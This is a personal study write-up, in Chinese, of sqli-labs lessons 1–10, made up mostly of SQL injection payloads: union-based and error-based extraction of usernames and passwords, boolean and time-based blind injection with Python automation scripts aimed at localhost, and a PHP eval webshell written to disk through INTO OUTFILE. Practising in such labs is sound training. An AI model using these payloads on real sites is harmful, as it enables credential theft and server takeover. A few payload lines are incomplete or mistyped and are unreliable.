sqli labs(Less-1至Less-10)
網安興趣愛好者,初次分享學習筆記。
Less-1
型別
字元型回顯注入'
輸入點
-
根據新增
'
頁面的回顯,可以判斷出'
是閉合
輸出點
-
payload:?id=1' and 1=1--+
-
payload:?id=1' and 1=1--+
根據二者的回顯不同,來判斷出輸出點
獲取資料方式
-
通過union聯合查詢注入
注入步驟
-
判斷列數
payload:?id=1' order by 3--+
4的時候頁面回顯報錯,所以判斷出列數為3列 -
聯合查詢,判斷各列輸出的位置
payload:?id=-1' union select 1,2,3--+
-
獲取資料庫
payload:?id=-1' union select 1,database(),3--+
-
爆資料表
payload:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
-
爆users表的資料欄位
payload:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
-
在爆出的欄位中裡面看到了password和username,於是爆資料
?id=-1' union select 1,group_concat(username,'~',password),3 from users--+
Less-2
注入型別
數字型注入
輸入點/輸出點
-
輸入
payload:?id=1' and 1=2--+
頁面回顯報錯 -
輸入
payload:?id=-1 and 1=2--+
無回顯
所以判斷這個查詢程式碼使用的是整數。所以就是將後面多餘的程式碼通過--+註釋掉就好
獲取資料方式
-
通過union聯合查詢注入
注入步驟
-
判斷列數
payload:
4的時候頁面回顯報錯,所以判斷出列數為3列 -
聯合查詢,判斷各列輸出的位置
payload:?id=-1 union select 1,2,3--+
-
獲取資料庫
payload:?id=-1 union select 1,database(),3--+
-
爆資料表
payload:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
-
爆users表的資料欄位
payload:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
-
在爆出的欄位中裡面看到了password和username,於是爆資料
?id=-1 union select 1,group_concat(username,'~',password),3 from users--+
username和password中間使用~來分隔
Less-3
注入型別
字元型回顯注入')'
注入點
-
輸入
payload:?id=1'--+
頁面回顯報錯 -
根據報錯新增')'閉合,輸入
payload:?id=1') --+
回顯正常
所以判斷在後面加')
來閉合注入
獲取資料方式
-
通過union聯合查詢注入
注入步驟
-
判斷列數
payload:
4的時候頁面回顯報錯,所以判斷出列數為3列 -
聯合查詢,判斷各列輸出的位置
payload:?id=-1') union select 1,2,3--+
-
獲取資料庫
payload:?id=-1') union select 1,database(),3--+
-
爆資料表
payload:?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
-
爆users表的資料欄位
payload:?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
-
在爆出的欄位中裡面看到了password和username,於是爆資料
?id=-1') union select 1,group_concat(username,'~',password),3 from users--+
username和password中間使用~來分隔
Less-4
注入型別
字元型注入
注入點
-
輸入
payload:?id=1"
頁面回顯報錯 -
根據報錯新增')'閉合,輸入
payload:?id=1") --+
回顯正常
所以判斷在後面加")
來閉合注入
獲取資料方式
-
通過
union
聯合查詢注入
注入步驟
-
判斷列數
payload:
4的時候頁面回顯報錯,所以判斷出列數為3列 -
聯合查詢,判斷各列輸出的位置
payload:?id=-1") union select 1,2,3--+
-
獲取資料庫
payload:?id=-1") union select 1,database(),3--+
-
爆資料表
payload:?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
-
爆users表的資料欄位
payload:?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
-
在爆出的欄位中裡面看到了password和username,於是爆資料
?id=-1") union select 1,group_concat(username,'~',password),3 from users--+
username和password中間使用~來分隔
Less-5
注入型別
報錯注入
注入點
-
輸入
payload:?id=1
回顯為 -
輸入
payload:?id=1"
回顯也為 -
輸入
payload:?id=1'
會回顯報錯
所以可以通過'
來使其報錯,從而實現報錯注入
獲取資料方式
-
通過
updatexml
來報錯注入查詢
注入步驟
-
報錯注入不需要判斷欄位數,所以直接爆資料庫名
payload:?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '
-
爆資料表
payload:1' or updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema=database()),'~'),1) or '
-
爆欄位
payload:1' or updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_name='users'),'~'),1) or '
右:id=1' or updatexml(1,right(concat('~',(select group_concat(column_name)from information_schema.columns where table_name='users'),'~'),32),1) or '
-
爆資料
payload:=1' and updatexml(1, concat(0x7e,(select (group_concat(username,password)) from users),0x7e),1) or '
payload:id=1' and updatexml(1, right(concat(0x7e,(select (group_concat(username,password)) from users),0x7e),32),1) or '
Less-6
注入型別
報錯注入
注入點
-
輸入
payload:?id=1
回顯為 -
輸入
payload:?id=1'
回顯也為 -
輸入
payload:?id=1"
會回顯報錯
所以可以通過"
來使其報錯,從而實現報錯注入
獲取資料方式
-
通過
extractvalue
來報錯注入查詢
注入步驟
-
報錯注入不需要判斷欄位數,所以直接爆資料庫名
payload:?id=1" or extractvalue(1,concat(0x7e,(select database()),0x7e))%23
-
爆資料表
payload:id=1" or extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'))%23
-
爆欄位
payload:id=1" or extractvalue(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_name='users'),'~'))%23
右:id=1" or extractvalue(1,right(concat('~',(select group_concat(column_name)from information_schema.columns where table_name='users'),'~'),32))%23
-
爆資料
payload:?id=1" and extractvalue(1, concat(0x7e,(select (group_concat(username,password)) from users),0x7e))%23
payload:?id=1" and extractvalue(1, right(concat(0x7e,(select (group_concat(username,password)) from users),0x7e),32))%23
Less-7
注入型別
outfile (檔案匯入方式注入)
注入點
-
在後面加
'
,"
都是返回錯誤 -
在後面加
'))
回顯正常所以可以使用
'))
來閉合它然後自己新增語句
注入方式
檔案匯入方式注入
注入步驟
使用的環境是phpstudy,需要修改環境裡mysql配置檔案,my.ini檔案
找到my.ini檔案,查詢secure_file_priv引數,將前面的分號去掉,如果沒有就新增secure_file_priv=""這行
-
判斷欄位數:
?id=1')) order by 3--+
-
注入一句話木馬:
?id=1'))UNION SELECT 1,2,'<?php @eval($_post[“mima”])?>' i nto outfile "F:\\PHP\\phpstudy\\phpstudy_2018\\PHPTutorial\\WWW\\sqli\\Less-7\\yijuhua.php"--+
這裡使用2個反斜槓的原因是轉義 -
接著使用一句話木馬連線就好
Less-8
注入型別
布林型盲注
注入點
-
輸入
?id=1 and 1=2
,頁面雖然沒有具體回顯,但也沒有報錯,判斷是字串型注入 -
再輸入
?id=1'
,頁面沒有回顯了,再輸入?id=1'#
,頁面有回顯,說明就是應該就是字串單引號注入了
所以可以使用'
來閉合它然後自己新增語句
注入方式
python指令碼盲注(布林型)
-
因為頁面沒有報錯資訊,語句錯誤時沒有回顯,語句正確時有回顯
-
有無回顯代表了語句是否錯誤,說明可以用布林盲注來進行注入
-
length()函式:返回字串str的長度,以位元組為單位
ascii()函式:返回字串的ascii值
substr()函式:用來擷取資料庫某一列欄位中的一部分,
substr(pos,len)表示從pos開始的位置,擷取len個字元(空白也算字元)
limit用法:limit m,n表示從m+1開始取n條
注入步驟
-
爆資料庫:
payload:1'and length(database())={}#
判斷資料庫的長度,正常回顯,那麼就是資料庫長度正常payload:1' and ascii(substr(database(),1,1)) =115 #
判斷資料庫的第一個字母,回顯正常就是正確的,不斷嘗試。(第一個1代表第幾個字母) -
爆資料表:
payload:1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<113 #
操作同爆庫名一樣,需要不斷嘗試(先使用大於小於來大致判斷位置) -
爆欄位:
payload:1' and ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1))<113 #
(先使用大於小於來大致判斷位置) -
爆資料:
payload:1' and ascii(substr((select concat(列1,0x3a,列2..) from 表名 limit 0,1),1,1))<113 #
python指令碼
import requests
url = "http://localhost/sqli/Less-8/"#url
for i in range(0,10):#具體想判斷的數值
parm = {"id": "1'and length(database())={}#".format(i)}#payload
req = requests.get(url, params=parm)
if "You are in..........." in req.text:
print(i)
break
爆欄位
import requests
url = "http://localhost/sqli/Less-8/"#url
for i in range(65,123):#具體想判斷的數值
parm = {"id": "1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))={}#".format(i)}#payload
req = requests.get(url, params=parm)
if "You are in..........." in req.text:
print(i)
break
二分法:
import requests
def result(a,b):
if (a+b)%2==0:
return (a+b)/2
else:
return (a+b-1)/2
#url
url = "http://localhost/2.sqli/Less-8/"
left=65
mid=94
right=123
while True:
#payload
parm = {"id": "1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)) > %d #" % mid}
req = requests.get(url, params=parm)
if "You are in..........." in req.text:
left = mid
mid=result(right,mid)
else:
right = mid
mid=result(left,mid)
if right == mid or left == mid:
print(chr(int(right))) if right > left else print(chr(int(left)))
break
Less-9
注入型別
時間型盲注
注入點
-
無論輸入什麼東西,頁面都只有回顯一個頁面,所以只能使用時間盲注
-
再輸入
?id=1'and sleep(2) --+
,頁面延遲了2秒顯示
所以可以使用'
來閉合它然後使用sleep函式來進行時間盲注
注入方式
python指令碼盲注(時間型)
-
因為頁面永遠回顯一個頁面,所以根據頁面重新整理的速度來判斷輸入語句是否正確,以此來獲取數
-
時間盲注和布林盲注差不多,只是判斷的依據不同(根據頁面重新整理的速度),多了sleep()函式
-
if表示式:if(expr1,expr2,expr3)
如果expr1是true(expr1 <> 0 and expr1 <> NULL),則 if()的返回值為expr2; 否則返回值則為 expr3
sleep(n):讓此語句執行n秒鐘
可以通過if表示式和sleep()函式的應用,通過語句執行時間來判斷正確資訊
注入步驟
-
爆資料庫:
payload:1'and if(length(database())={},sleep(2))#
判斷資料庫的長度,正常回顯,那麼就是資料庫長度正常payload:1' and if(ascii(substr(database(),1,1))<113,sleep(2),0) #
判斷資料庫的第一個字母,回顯正常就是正確的,不斷嘗試。(第一個1代表第幾個字母) -
爆資料表:
payload:1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<113,sleep(2),0) #
操作同爆庫名一樣,需要不斷嘗試(先使用大於小於來大致判斷位置) -
爆欄位:
payload:1' and if(ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1))<113,sleep(2),0) #
(先使用大於小於來大致判斷位置) -
爆資料:
payload:1' and if(ascii(substr((select concat(列1,0x3a,列2..) from 表名 limit 0,1),1,1))<113,sleep(2),0) #
Lsee-10
注入型別
時間型盲注
注入點
-
無論輸入什麼東西,頁面都只有回顯一個頁面,所以只能使用時間盲注
-
再輸入
?id=1'and sleep(2) --+
,頁面延遲了2秒顯示
所以可以使用'
來閉合它然後使用sleep函式來進行時間盲注
注入方式
python指令碼盲注(時間型)
-
因為頁面永遠回顯一個頁面,所以根據頁面重新整理的速度來判斷輸入語句是否正確,以此來獲取數
-
時間盲注和布林盲注差不多,只是判斷的依據不同(根據頁面重新整理的速度),多了sleep()函式
-
if表示式:if(expr1,expr2,expr3)
如果expr1是true(expr1 <> 0 and expr1 <> NULL),則 if()的返回值為expr2; 否則返回值則為 expr3
sleep(n):讓此語句執行n秒鐘
可以通過if表示式和sleep()函式的應用,通過語句執行時間來判斷正確資訊
注入步驟
-
爆資料庫:
payload:1'and if(length(database())={},sleep(2))#
判斷資料庫的長度,正常回顯,那麼就是資料庫長度正常payload:1' and if(ascii(substr(database(),1,1))<113,sleep(2),0) #
判斷資料庫的第一個字母,回顯正常就是正確的,不斷嘗試。(第一個1代表第幾個字母) -
爆資料表:
payload:1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<113,sleep(2),0) #
操作同爆庫名一樣,需要不斷嘗試(先使用大於小於來大致判斷位置) -
爆欄位:
payload:1' and if(ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1))<113,sleep(2),0) #
(先使用大於小於來大致判斷位置) -
爆資料:
payload:1' and if(ascii(substr((select concat(列1,0x3a,列2..) from 表名 limit 0,1),1,1))<113,sleep(2),0) #